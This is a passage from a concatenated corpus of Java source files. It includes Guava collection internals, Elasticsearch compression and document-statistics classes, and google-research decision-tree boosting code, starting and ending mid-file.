max_indexes[i] = all_trees.elementAt(i).temporary_leaves.size() - 1;
max *= all_trees.elementAt(i).temporary_leaves.size();
}
do{
new_element = new Vector<>();
for (i=0;i<current_indexes.length;i++){
new_element.addElement(all_trees.elementAt(i).temporary_leaves.elementAt(current_indexes[i]));
}
if (!Support.SUPPORT_INTERSECTION_IS_EMPTY(new_element, ensure_non_zero_measure, node.myTree.myGET.myDS))
set.addElement(new_element);
current_indexes = NEXT_INDEXES(current_indexes, max_indexes, forbidden_index);
iter++;
if (iter%(max/10) == 0)
System.out.print((iter/(max/10))*10 + "% ");
}while(current_indexes != null);
//discard_temporary_leaves
for (i=0;i<all_trees.size();i++)
all_trees.elementAt(i).discard_temporary_leaves();
return set;
}
public static Vector <BoolArray> ALL_NON_TRIVIAL_BOOLARRAYS(int bitset_size, int max_true_in_bitset){
if (max_true_in_bitset > bitset_size)
Dataset.perror("Utils.class :: bad parameters for ALL_NON_TRIVIAL_BOOLARRAYS");
Vector <BoolArray> ret = new Vector <>();
MOVE_IN(ret, bitset_size, 0, max_true_in_bitset);
ret.removeElementAt(0);
if (ret.elementAt(ret.size()-1).cardinality() == bitset_size)
ret.removeElementAt(ret.size()-1);
return ret;
}
public static void MOVE_IN(Vector<BoolArray> grow, int bitset_size, int index, int max_true_in_bitset){
if (grow.size() == 0){
grow.addElement(new BoolArray(bitset_size));
}
BoolArray vv, v;
int i, sinit = grow.size(), j;
for (i=0;i<sinit;i++){
vv = grow.elementAt(i);
if (vv.cardinality() < max_true_in_bitset){
v = (BoolArray) vv.duplicate();
v.set(index, true);
grow.addElement(v);
}
}
if (index < bitset_size - 1)
MOVE_IN(grow, bitset_size, index + 1, max_true_in_bitset);
}
}
| google-research/google-research | generative_forests/src/Utils.java |
1,341 | /*
* Copyright (C) 2008 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.J2ktIncompatible;
import java.util.Arrays;
import java.util.Map;
import java.util.Set;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* Methods factored out so that they can be emulated differently in GWT.
*
* @author Hayward Chan
*/
@GwtCompatible(emulated = true)
@ElementTypesAreNonnullByDefault
final class Platform {
/** Returns the platform preferred implementation of a map based on a hash table. */
static <K extends @Nullable Object, V extends @Nullable Object>
Map<K, V> newHashMapWithExpectedSize(int expectedSize) {
return CompactHashMap.createWithExpectedSize(expectedSize);
}
/**
* Returns the platform preferred implementation of an insertion ordered map based on a hash
* table.
*/
static <K extends @Nullable Object, V extends @Nullable Object>
Map<K, V> newLinkedHashMapWithExpectedSize(int expectedSize) {
return CompactLinkedHashMap.createWithExpectedSize(expectedSize);
}
/** Returns the platform preferred implementation of a set based on a hash table. */
static <E extends @Nullable Object> Set<E> newHashSetWithExpectedSize(int expectedSize) {
return CompactHashSet.createWithExpectedSize(expectedSize);
}
/**
* Returns the platform preferred implementation of an insertion ordered set based on a hash
* table.
*/
static <E extends @Nullable Object> Set<E> newLinkedHashSetWithExpectedSize(int expectedSize) {
return CompactLinkedHashSet.createWithExpectedSize(expectedSize);
}
/**
* Returns the platform preferred map implementation that preserves insertion order when used only
* for insertions.
*/
static <K extends @Nullable Object, V extends @Nullable Object>
Map<K, V> preservesInsertionOrderOnPutsMap() {
return CompactHashMap.create();
}
/**
* Returns the platform preferred set implementation that preserves insertion order when used only
* for insertions.
*/
static <E extends @Nullable Object> Set<E> preservesInsertionOrderOnAddsSet() {
return CompactHashSet.create();
}
/**
* Returns a new array of the given length with the same type as a reference array.
*
* @param reference any array of the desired type
* @param length the length of the new array
*/
/*
* The new array contains nulls, even if the old array did not. If we wanted to be accurate, we
* would declare a return type of `@Nullable T[]`. However, we've decided not to think too hard
* about arrays for now, as they're a mess. (We previously discussed this in the review of
* ObjectArrays, which is the main caller of this method.)
*/
static <T extends @Nullable Object> T[] newArray(T[] reference, int length) {
T[] empty = reference.length == 0 ? reference : Arrays.copyOf(reference, 0);
return Arrays.copyOf(empty, length);
}
/** Equivalent to Arrays.copyOfRange(source, from, to, arrayOfType.getClass()). */
/*
* Arrays are a mess from a nullness perspective, and Class instances for object-array types are
* even worse. For now, we just suppress and move on with our lives.
*
* - https://github.com/jspecify/jspecify/issues/65
*
* - https://github.com/jspecify/jdk/commit/71d826792b8c7ef95d492c50a274deab938f2552
*/
/*
* TODO(cpovirk): Is the unchecked cast avoidable? Would System.arraycopy be similarly fast (if
* likewise not type-checked)? Could our single caller do something different?
*/
@SuppressWarnings({"nullness", "unchecked"})
static <T extends @Nullable Object> T[] copy(Object[] source, int from, int to, T[] arrayOfType) {
return Arrays.copyOfRange(source, from, to, (Class<? extends T[]>) arrayOfType.getClass());
}
/**
* Configures the given map maker to use weak keys, if possible; does nothing otherwise (i.e., in
* GWT). This is sometimes acceptable, when only server-side code could generate enough volume
* that reclamation becomes important.
*/
@J2ktIncompatible
static MapMaker tryWeakKeys(MapMaker mapMaker) {
return mapMaker.weakKeys();
}
static <E extends Enum<E>> Class<E> getDeclaringClassOrObjectForJ2cl(E e) {
return e.getDeclaringClass();
}
static int reduceIterationsIfGwt(int iterations) {
return iterations;
}
static int reduceExponentIfGwt(int exponent) {
return exponent;
}
private Platform() {}
}
| google/guava | android/guava/src/com/google/common/collect/Platform.java |
1,342 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.transport;
import net.jpountz.lz4.LZ4Compressor;
import net.jpountz.lz4.LZ4Factory;
import net.jpountz.lz4.LZ4FastDecompressor;
import org.elasticsearch.TransportVersion;
import org.elasticsearch.TransportVersions;
import org.elasticsearch.common.bytes.BytesReference;
import org.elasticsearch.core.Booleans;
import org.elasticsearch.lz4.ESLZ4Compressor;
import org.elasticsearch.lz4.ESLZ4Decompressor;
import java.io.IOException;
import java.io.OutputStream;
public class Compression {
public enum Scheme {
LZ4,
DEFLATE;
static final TransportVersion LZ4_VERSION = TransportVersions.V_7_14_0;
static final int HEADER_LENGTH = 4;
private static final byte[] DEFLATE_HEADER = new byte[] { 'D', 'F', 'L', '\0' };
private static final byte[] LZ4_HEADER = new byte[] { 'L', 'Z', '4', '\0' };
private static final int LZ4_BLOCK_SIZE;
private static final boolean USE_FORKED_LZ4;
static {
String blockSizeString = System.getProperty("es.transport.compression.lz4_block_size");
if (blockSizeString != null) {
int lz4BlockSize = Integer.parseInt(blockSizeString);
if (lz4BlockSize < 1024 || lz4BlockSize > (512 * 1024)) {
throw new IllegalArgumentException("lz4_block_size must be >= 1KB and <= 512KB");
}
LZ4_BLOCK_SIZE = lz4BlockSize;
} else {
LZ4_BLOCK_SIZE = 64 * 1024;
}
USE_FORKED_LZ4 = Booleans.parseBoolean(System.getProperty("es.compression.use_forked_lz4", "true"));
}
public static boolean isDeflate(BytesReference bytes) {
byte firstByte = bytes.get(0);
if (firstByte != Compression.Scheme.DEFLATE_HEADER[0]) {
return false;
} else {
return validateHeader(bytes, DEFLATE_HEADER);
}
}
public static boolean isLZ4(BytesReference bytes) {
byte firstByte = bytes.get(0);
if (firstByte != Scheme.LZ4_HEADER[0]) {
return false;
} else {
return validateHeader(bytes, LZ4_HEADER);
}
}
private static boolean validateHeader(BytesReference bytes, byte[] header) {
for (int i = 1; i < Compression.Scheme.HEADER_LENGTH; ++i) {
if (bytes.get(i) != header[i]) {
return false;
}
}
return true;
}
public static LZ4FastDecompressor lz4Decompressor() {
if (USE_FORKED_LZ4) {
return ESLZ4Decompressor.INSTANCE;
} else {
return LZ4Factory.safeInstance().fastDecompressor();
}
}
public static OutputStream lz4OutputStream(OutputStream outputStream) throws IOException {
outputStream.write(LZ4_HEADER);
LZ4Compressor lz4Compressor;
if (USE_FORKED_LZ4) {
lz4Compressor = ESLZ4Compressor.INSTANCE;
} else {
lz4Compressor = LZ4Factory.safeInstance().fastCompressor();
}
return new ReuseBuffersLZ4BlockOutputStream(outputStream, LZ4_BLOCK_SIZE, lz4Compressor);
}
}
public enum Enabled {
TRUE,
INDEXING_DATA,
FALSE
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/transport/Compression.java |
1,343 | /*
* Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
* or more contributor license agreements. Licensed under the Elastic License
* 2.0 and the Server Side Public License, v 1; you may not use this file except
* in compliance with, at your election, the Elastic License 2.0 or the Server
* Side Public License, v 1.
*/
package org.elasticsearch.index.shard;
import org.elasticsearch.common.io.stream.StreamInput;
import org.elasticsearch.common.io.stream.StreamOutput;
import org.elasticsearch.common.io.stream.Writeable;
import org.elasticsearch.index.store.StoreStats;
import org.elasticsearch.xcontent.ToXContentFragment;
import org.elasticsearch.xcontent.XContentBuilder;
import java.io.IOException;
import java.util.Objects;
public class DocsStats implements Writeable, ToXContentFragment {
private long count = 0;
private long deleted = 0;
private long totalSizeInBytes = 0;
public DocsStats() {
}
public DocsStats(StreamInput in) throws IOException {
count = in.readVLong();
deleted = in.readVLong();
totalSizeInBytes = in.readVLong();
}
public DocsStats(long count, long deleted, long totalSizeInBytes) {
this.count = count;
this.deleted = deleted;
this.totalSizeInBytes = totalSizeInBytes;
}
public void add(DocsStats other) {
if (other == null) {
return;
}
if (this.totalSizeInBytes == -1) {
this.totalSizeInBytes = other.totalSizeInBytes;
} else if (other.totalSizeInBytes != -1) {
this.totalSizeInBytes += other.totalSizeInBytes;
}
this.count += other.count;
this.deleted += other.deleted;
}
public long getCount() {
return this.count;
}
public long getDeleted() {
return this.deleted;
}
/**
* Returns the total size in bytes of all documents in this stats.
* This value may be more reliable than {@link StoreStats#sizeInBytes()} in estimating the index size.
*/
public long getTotalSizeInBytes() {
return totalSizeInBytes;
}
@Override
public void writeTo(StreamOutput out) throws IOException {
out.writeVLong(count);
out.writeVLong(deleted);
out.writeVLong(totalSizeInBytes);
}
@Override
public XContentBuilder toXContent(XContentBuilder builder, Params params) throws IOException {
builder.startObject(Fields.DOCS);
builder.field(Fields.COUNT, count);
builder.field(Fields.DELETED, deleted);
builder.field(Fields.TOTAL_SIZE_IN_BYTES, totalSizeInBytes);
builder.endObject();
return builder;
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
DocsStats that = (DocsStats) o;
return count == that.count && deleted == that.deleted && totalSizeInBytes == that.totalSizeInBytes;
}
@Override
public int hashCode() {
return Objects.hash(count, deleted, totalSizeInBytes);
}
static final class Fields {
static final String DOCS = "docs";
static final String COUNT = "count";
static final String DELETED = "deleted";
static final String TOTAL_SIZE_IN_BYTES = "total_size_in_bytes";
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/index/shard/DocsStats.java |
1,344 | import java.io.*;
import java.util.*;
/**************************************************************************************************************************************
* Class DecisionTree
*****/
class DecisionTree implements Debuggable {
public static boolean DISPLAY_INTERNAL_NODES_CLASSIFICATION = false;
int name, depth;
DecisionTreeNode root;
// root of the tree
Vector leaves;
// list of leaves of the tree (potential growth here)
Boost myBoost;
int max_size;
int split_CV;
int number_nodes;
// includes leaves
double tree_p_t, tree_psi_t, tree_p_t_star;
DecisionTree(int nn, Boost bb, int maxs, int split) {
name = nn;
root = null;
myBoost = bb;
max_size = maxs;
split_CV = split;
tree_p_t = tree_psi_t = tree_p_t_star = -1.0;
}
public String toString() {
int i;
String v = "(name = #" + name + " | depth = " + depth + " | #nodes = " + number_nodes + ")\n";
DecisionTreeNode dumn;
v += root.display(new HashSet<Integer>());
v += "Leaves:";
Iterator it = leaves.iterator();
while (it.hasNext()) {
v += " ";
dumn = (DecisionTreeNode) it.next();
v += "#" + dumn.name + dumn.observations_string();
}
v += ".\n";
return v;
}
public static void INSERT_WEIGHT_ORDER(Vector<DecisionTreeNode> all_nodes, DecisionTreeNode nn) {
int k;
if (all_nodes.size() == 0) all_nodes.addElement(nn);
else {
k = 0;
while ((k < all_nodes.size())
&& (nn.train_fold_indexes_in_node.length
< all_nodes.elementAt(k).train_fold_indexes_in_node.length)) k++;
all_nodes.insertElementAt(nn, k);
}
}
public void grow_heavy_first() {
// grows the heaviest grow-able leaf
// heavy = wrt the total # examples reaching the node
Vector vin, vvv;
boolean stop = false;
DecisionTreeNode nn, leftnn, rightnn;
int i, j, k, l, ibest, pos_left, neg_left, pos_right, neg_right, nsplits = 0;
double wpos_left_tempered,
wneg_left_tempered,
wpos_right_tempered,
wneg_right_tempered,
t_leaf = myBoost.tempered_t,
w_leaf_codensity;
double wpos_left_codensity, wneg_left_codensity, wpos_right_codensity, wneg_right_codensity;
Vector<DecisionTreeNode> try_leaves = null; // leaves that will be tried to grow
Vector candidate_split, dumv;
try_leaves = new Vector<>();
for (j = 0; j < leaves.size(); j++)
DecisionTree.INSERT_WEIGHT_ORDER(try_leaves, (DecisionTreeNode) leaves.elementAt(j));
do {
do {
nn = ((DecisionTreeNode) try_leaves.elementAt(0));
candidate_split = nn.bestSplit(t_leaf);
if (candidate_split == null) try_leaves.removeElementAt(0);
} while ((try_leaves.size() > 0) && (candidate_split == null));
if (candidate_split == null) stop = true;
else {
vin = candidate_split;
nn.is_leaf = false;
try_leaves.removeElementAt(0);
// nn.node_prediction_from_boosting_weights = nn.node_prediction_from_cardinals = 0.0;
nn.feature_node_index = ((Integer) vin.elementAt(2)).intValue();
nn.feature_node_test_index = ((Integer) vin.elementAt(3)).intValue();
pos_left = ((Integer) vin.elementAt(6)).intValue();
neg_left = ((Integer) vin.elementAt(7)).intValue();
pos_right = ((Integer) vin.elementAt(8)).intValue();
neg_right = ((Integer) vin.elementAt(9)).intValue();
wpos_left_tempered = ((Double) vin.elementAt(10)).doubleValue();
wneg_left_tempered = ((Double) vin.elementAt(11)).doubleValue();
wpos_right_tempered = ((Double) vin.elementAt(12)).doubleValue();
wneg_right_tempered = ((Double) vin.elementAt(13)).doubleValue();
wpos_left_codensity = ((Double) vin.elementAt(14)).doubleValue();
wneg_left_codensity = ((Double) vin.elementAt(15)).doubleValue();
wpos_right_codensity = ((Double) vin.elementAt(16)).doubleValue();
wneg_right_codensity = ((Double) vin.elementAt(17)).doubleValue();
number_nodes++;
leftnn =
new DecisionTreeNode(
this,
number_nodes,
nn.depth + 1,
split_CV,
(Vector) vin.elementAt(4),
pos_left,
neg_left,
wpos_left_tempered,
wneg_left_tempered,
wpos_left_codensity,
wneg_left_codensity);
leftnn.compute_prediction(t_leaf);
// System.out.println("left_leaf : " + t_leaf + ", wpos_left_codensity = " +
// wpos_left_codensity + ", wneg_left_codensity = " + wneg_left_codensity);
leftnn.continuous_features_indexes_for_split_copy_from(nn);
leftnn.continuous_features_indexes_for_split_update_child(
nn.feature_node_index, nn.feature_node_test_index, DecisionTreeNode.LEFT_CHILD);
DecisionTree.INSERT_WEIGHT_ORDER(try_leaves, leftnn);
number_nodes++;
rightnn =
new DecisionTreeNode(
this,
number_nodes,
nn.depth + 1,
split_CV,
(Vector) vin.elementAt(5),
pos_right,
neg_right,
wpos_right_tempered,
wneg_right_tempered,
wpos_right_codensity,
wneg_right_codensity);
rightnn.compute_prediction(t_leaf);
// System.out.println("right_leaf : " + t_leaf + ", wpos_right_codensity = " +
// wpos_right_codensity + ", wneg_right_codensity = " + wneg_right_codensity);
rightnn.continuous_features_indexes_for_split_copy_from(nn);
rightnn.continuous_features_indexes_for_split_update_child(
nn.feature_node_index, nn.feature_node_test_index, DecisionTreeNode.RIGHT_CHILD);
DecisionTree.INSERT_WEIGHT_ORDER(try_leaves, rightnn);
if (nn.depth + 1 > depth) depth = nn.depth + 1;
nn.left_child = leftnn;
nn.right_child = rightnn;
nsplits++;
}
if (number_nodes >= max_size) stop = true;
} while (!stop);
// updates leaves in tree
leaves = new Vector();
for (j = 0; j < try_leaves.size(); j++) leaves.addElement(try_leaves.elementAt(j));
}
public void init(double tt) {
int i, ne = myBoost.myDomain.myDS.train_size(split_CV);
Vector indexes = new Vector();
Example e;
int pos = 0, neg = 0;
double wpos_tempered = 0.0,
wneg_tempered = 0.0,
wpos_codensity = 0.0,
wneg_codensity = 0.0,
alpha_leaf;
for (i = 0; i < ne; i++) {
indexes.addElement(new Integer(i));
e = myBoost.myDomain.myDS.train_example(split_CV, i);
if (e.is_positive_noisy()) {
pos++;
wpos_tempered += e.current_boosting_weight;
if (myBoost.name.equals(Boost.KEY_NAME_TEMPERED_LOSS))
wpos_codensity += Math.pow(e.current_boosting_weight, 2.0 - tt);
else wpos_codensity = -1.0; // enforces checkable errors
} else {
neg++;
wneg_tempered += e.current_boosting_weight;
if (myBoost.name.equals(Boost.KEY_NAME_TEMPERED_LOSS))
wneg_codensity += Math.pow(e.current_boosting_weight, 2.0 - tt);
else wpos_codensity = -1.0; // enforces checkable errors
}
}
number_nodes = 1;
root =
new DecisionTreeNode(
this,
number_nodes,
0,
split_CV,
indexes,
pos,
neg,
wpos_tempered,
wneg_tempered,
wpos_codensity,
wneg_codensity);
root.init_continuous_features_indexes_for_split();
depth = 0;
// System.out.println("tt = " + tt + ", root_leaf : " + root + ", wpos_codensity = " +
// wpos_codensity + ", wneg_codensity = " + wneg_codensity);
root.compute_prediction(myBoost.tempered_t);
leaves = new Vector();
leaves.addElement(root);
}
public DecisionTreeNode get_leaf(Example ee) {
// returns the leaf reached by the example
DecisionTreeNode nn = root;
Feature f;
while (!nn.is_leaf) {
f =
(Feature)
myBoost.myDomain.myDS.features.elementAt(
myBoost
.myDomain
.myDS
.index_observation_features_to_index_features[nn.feature_node_index]);
if (f.example_goes_left(ee, nn.feature_node_index, nn.feature_node_test_index))
nn = nn.left_child;
else nn = nn.right_child;
}
return nn;
}
public DecisionTreeNode get_leaf_MonotonicTreeGraph(Example ee) {
// returns the monotonic node reached by the example
// (builds a strictly monotonic path of nodes to a leaf, used the last one in the path; this is
// a prediction node in the corresponding MonotonicTreeGraph)
DecisionTreeNode nn = root;
double best_prediction = Math.abs(nn.node_prediction_from_boosting_weights);
DecisionTreeNode ret = root;
Feature f;
while (!nn.is_leaf) {
if (Math.abs(nn.node_prediction_from_boosting_weights) > best_prediction) {
best_prediction = Math.abs(nn.node_prediction_from_boosting_weights);
ret = nn;
}
f =
(Feature)
myBoost.myDomain.myDS.features.elementAt(
myBoost
.myDomain
.myDS
.index_observation_features_to_index_features[nn.feature_node_index]);
if (f.example_goes_left(ee, nn.feature_node_index, nn.feature_node_test_index))
nn = nn.left_child;
else nn = nn.right_child;
}
return ret;
}
public double leveraging_mu() {
if (myBoost.name.equals(Boost.KEY_NAME_TEMPERED_LOSS)) return leveraging_mu_tempered_loss();
else if (myBoost.name.equals(Boost.KEY_NAME_LOG_LOSS)) return leveraging_mu_log_loss();
else Dataset.perror("DecisionTree.class :: no loss " + myBoost.name);
return -1.0;
}
public double leveraging_mu_log_loss() {
int i, ne = myBoost.myDomain.myDS.train_size(split_CV);
double rho_j = 0.0, max_absolute_pred = -1.0, output_e, tot_weight = 0.0, mu_j;
Example e;
for (i = 0; i < ne; i++) {
e = myBoost.myDomain.myDS.train_example(split_CV, i);
output_e = output_boosting(e);
if ((i == 0) || (Math.abs(output_e) > max_absolute_pred))
max_absolute_pred = Math.abs(output_e);
rho_j += (e.current_boosting_weight * output_e * e.noisy_normalized_class);
tot_weight += e.current_boosting_weight;
}
rho_j /= (tot_weight * max_absolute_pred);
tree_p_t = (1.0 + rho_j) / 2.0;
tree_psi_t = Math.log((1.0 + rho_j) / (1.0 - rho_j));
tree_p_t_star = 1.0 / (1.0 + Math.exp(-max_absolute_pred));
if (tree_psi_t < 0.0)
Dataset.perror("DecisionTree.class :: negative value tree_psi_t = " + tree_psi_t);
// if ( (rho_j >= 1.0) || (rho_j <= -1.0) )
// Dataset.perror("DecisionTree.class :: impossible value rho_j = " + rho_j); REMOVE
mu_j = (Math.log((1.0 + rho_j) / (1.0 - rho_j))) / max_absolute_pred;
return mu_j;
}
public double leveraging_mu_tempered_loss() {
int i, ne = myBoost.myDomain.myDS.train_size(split_CV), maxr, nbpos = 0, nbnull = 0;
double r_j = 0.0, epsilon_j = 0.0, rho_j = 0.0, ww, mu_j, rat;
Example e;
// computes r_j, see paper
for (i = 0; i < ne; i++) {
e = myBoost.myDomain.myDS.train_example(split_CV, i);
if (e.current_boosting_weight < 0.0)
Dataset.perror("DecisionTree.class :: example has negative weight");
if (e.current_boosting_weight > 0.0) {
if (myBoost.tempered_t != 1.0)
rat =
Math.abs(unweighted_edge_training(e))
/ Math.pow(e.current_boosting_weight, 1.0 - myBoost.tempered_t);
else rat = Math.abs(unweighted_edge_training(e));
if ((nbpos == 0) || (rat > r_j)) r_j = rat;
nbpos++;
}
}
if (r_j == 0.0) // h = 0 => mu = 0
return 0.0;
// computes epsilon_j, see paper
if (myBoost.tempered_t != 1.0) {
for (i = 0; i < ne; i++) {
e = myBoost.myDomain.myDS.train_example(split_CV, i);
if (e.current_boosting_weight == 0.0) {
rat = Math.abs(unweighted_edge_training(e)) / r_j;
if ((nbnull == 0) || (rat > epsilon_j)) {
epsilon_j = rat;
}
nbnull++;
}
}
if (nbnull > 0) epsilon_j = Math.pow(epsilon_j, 1.0 / (1.0 - myBoost.tempered_t));
}
// computes rho_j, see paper
for (i = 0; i < ne; i++) {
e = myBoost.myDomain.myDS.train_example(split_CV, i);
ww = (e.current_boosting_weight > 0.0) ? e.current_boosting_weight : epsilon_j;
rho_j += ww * unweighted_edge_training(e);
}
rho_j /= ((1.0 + (((double) nbnull) * Math.pow(epsilon_j, 2.0 - myBoost.tempered_t))) * r_j);
if ((rho_j > 1.0) || (rho_j < -1.0))
Dataset.perror("DecisionTree.class :: rho_j = " + rho_j + " not in [-1,1]");
// System.out.println("BEFORE " + myBoost.tempered_t + ", rho = " + rho_j);
mu_j =
-Statistics.TEMPERED_LOG(
(1.0 - rho_j) / Statistics.Q_MEAN(1.0 - rho_j, 1.0 + rho_j, 1.0 - myBoost.tempered_t),
myBoost.tempered_t);
// System.out.println("AFTER " + myBoost.tempered_t + ", mu = " + mu_j);
if ((Double.isNaN(mu_j)) || (Double.isInfinite(mu_j))) {
if (rho_j > 0.0) mu_j = Boost.MAX_PRED_VALUE;
else if (rho_j < 0.0) mu_j = -Boost.MAX_PRED_VALUE;
else Dataset.perror("DecisionTree.class :: inconsistency in the computation of rho_j");
TemperedBoostException.ADD(TemperedBoostException.NUMERICAL_ISSUES_INFINITE_MU);
}
mu_j /= r_j;
return mu_j;
}
public double leveraging_alpha(double mu, Vector<Double> allzs) {
if ((myBoost.tempered_t == 1.0) || (!myBoost.name.equals(Boost.KEY_NAME_TEMPERED_LOSS)))
return mu;
double al =
Math.pow(
(double) myBoost.myDomain.myDS.train_size(split_CV),
1.0 - Statistics.STAR(myBoost.tempered_t));
int i;
if (name > 0) {
for (i = 0; i < name; i++)
al *= Math.pow(allzs.elementAt(i).doubleValue(), 1.0 - myBoost.tempered_t);
}
al *= mu;
return al;
}
public double output_boosting(Example ee) {
DecisionTreeNode nn = get_leaf(ee);
// if (ee.domain_id == 1){
// System.out.println("DT [" + nn.name + "," + nn.depth + "," +
// nn.node_prediction_from_boosting_weights + "]"); // REMOVE
// }
nn.checkForOutput();
return (nn.node_prediction_from_boosting_weights);
}
public double output_boosting_MonotonicTreeGraph(Example ee) {
DecisionTreeNode nn = get_leaf_MonotonicTreeGraph(ee);
// if (ee.domain_id == 1){
// System.out.println("MTG [" + nn.name + "," + nn.depth + "," +
// nn.node_prediction_from_boosting_weights + "]"); // REMOVE
// }
nn.checkForOutput_MonotonicTreeGraph();
return (nn.node_prediction_from_boosting_weights);
}
public double unweighted_edge_training(Example ee) {
// return y * this(ee) ; USE NOISY CLASS (if no noise, just the regular class)
return ((output_boosting(ee)) * (ee.noisy_normalized_class));
}
public double unweighted_edge_training_MonotonicTreeGraph(Example ee) {
// return y * this(ee) ; USE NOISY CLASS (if no noise, just the regular class)
return ((output_boosting_MonotonicTreeGraph(ee)) * (ee.noisy_normalized_class));
}
// safe checks methods
public void check() {
int i, j, ne = myBoost.myDomain.myDS.train_size(split_CV);
DecisionTreeNode leaf1, leaf2;
Example ee;
for (i = 0; i < leaves.size(); i++) {
leaf1 = (DecisionTreeNode) leaves.elementAt(i);
for (j = 0; j < leaf1.train_fold_indexes_in_node.length; j++) {
ee = myBoost.myDomain.myDS.train_example(split_CV, leaf1.train_fold_indexes_in_node[j]);
leaf2 = get_leaf(ee);
if (leaf1.name != leaf2.name) {
Dataset.perror(
"DecisionTree.class :: Example "
+ ee
+ " reaches leaf #"
+ leaf2
+ " but is recorded for leaf #"
+ leaf1);
}
}
}
}
}
| google-research/google-research | tempered_boosting/DecisionTree.java |
1,345 | /*
* Copyright (C) 2008 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkNotNull;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import java.io.Serializable;
import java.util.Spliterator;
import java.util.function.Consumer;
import javax.annotation.CheckForNull;
/**
* {@code keySet()} implementation for {@link ImmutableMap}.
*
* @author Jesse Wilson
* @author Kevin Bourrillion
*/
@GwtCompatible(emulated = true)
@ElementTypesAreNonnullByDefault
final class ImmutableMapKeySet<K, V> extends IndexedImmutableSet<K> {
private final ImmutableMap<K, V> map;
ImmutableMapKeySet(ImmutableMap<K, V> map) {
this.map = map;
}
@Override
public int size() {
return map.size();
}
@Override
public UnmodifiableIterator<K> iterator() {
return map.keyIterator();
}
@Override
public Spliterator<K> spliterator() {
return map.keySpliterator();
}
@Override
public boolean contains(@CheckForNull Object object) {
return map.containsKey(object);
}
@Override
K get(int index) {
return map.entrySet().asList().get(index).getKey();
}
@Override
public void forEach(Consumer<? super K> action) {
checkNotNull(action);
map.forEach((k, v) -> action.accept(k));
}
@Override
boolean isPartialView() {
return true;
}
// redeclare to help optimizers with b/310253115
@SuppressWarnings("RedundantOverride")
@Override
@J2ktIncompatible // serialization
@GwtIncompatible // serialization
Object writeReplace() {
return super.writeReplace();
}
// No longer used for new writes, but kept so that old data can still be read.
@GwtIncompatible // serialization
@J2ktIncompatible
@SuppressWarnings("unused")
private static class KeySetSerializedForm<K> implements Serializable {
final ImmutableMap<K, ?> map;
KeySetSerializedForm(ImmutableMap<K, ?> map) {
this.map = map;
}
Object readResolve() {
return map.keySet();
}
private static final long serialVersionUID = 0;
}
}
| google/guava | guava/src/com/google/common/collect/ImmutableMapKeySet.java |
1,346 | /*
* Copyright (C) 2012 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import com.google.common.annotations.GwtCompatible;
import com.google.errorprone.annotations.concurrent.LazyInit;
import com.google.j2objc.annotations.WeakOuter;
import java.util.Comparator;
import java.util.Iterator;
import java.util.NavigableSet;
import java.util.Set;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* A skeleton implementation of a descending multiset. Only needs {@code forwardMultiset()} and
* {@code entryIterator()}.
*
* @author Louis Wasserman
*/
@GwtCompatible(emulated = true)
@ElementTypesAreNonnullByDefault
abstract class DescendingMultiset<E extends @Nullable Object> extends ForwardingMultiset<E>
implements SortedMultiset<E> {
abstract SortedMultiset<E> forwardMultiset();
@LazyInit @CheckForNull private transient Comparator<? super E> comparator;
@Override
public Comparator<? super E> comparator() {
Comparator<? super E> result = comparator;
if (result == null) {
return comparator = Ordering.from(forwardMultiset().comparator()).<E>reverse();
}
return result;
}
@LazyInit @CheckForNull private transient NavigableSet<E> elementSet;
@Override
public NavigableSet<E> elementSet() {
NavigableSet<E> result = elementSet;
if (result == null) {
return elementSet = new SortedMultisets.NavigableElementSet<>(this);
}
return result;
}
@Override
@CheckForNull
public Entry<E> pollFirstEntry() {
return forwardMultiset().pollLastEntry();
}
@Override
@CheckForNull
public Entry<E> pollLastEntry() {
return forwardMultiset().pollFirstEntry();
}
@Override
public SortedMultiset<E> headMultiset(@ParametricNullness E toElement, BoundType boundType) {
return forwardMultiset().tailMultiset(toElement, boundType).descendingMultiset();
}
@Override
public SortedMultiset<E> subMultiset(
@ParametricNullness E fromElement,
BoundType fromBoundType,
@ParametricNullness E toElement,
BoundType toBoundType) {
return forwardMultiset()
.subMultiset(toElement, toBoundType, fromElement, fromBoundType)
.descendingMultiset();
}
@Override
public SortedMultiset<E> tailMultiset(@ParametricNullness E fromElement, BoundType boundType) {
return forwardMultiset().headMultiset(fromElement, boundType).descendingMultiset();
}
@Override
protected Multiset<E> delegate() {
return forwardMultiset();
}
@Override
public SortedMultiset<E> descendingMultiset() {
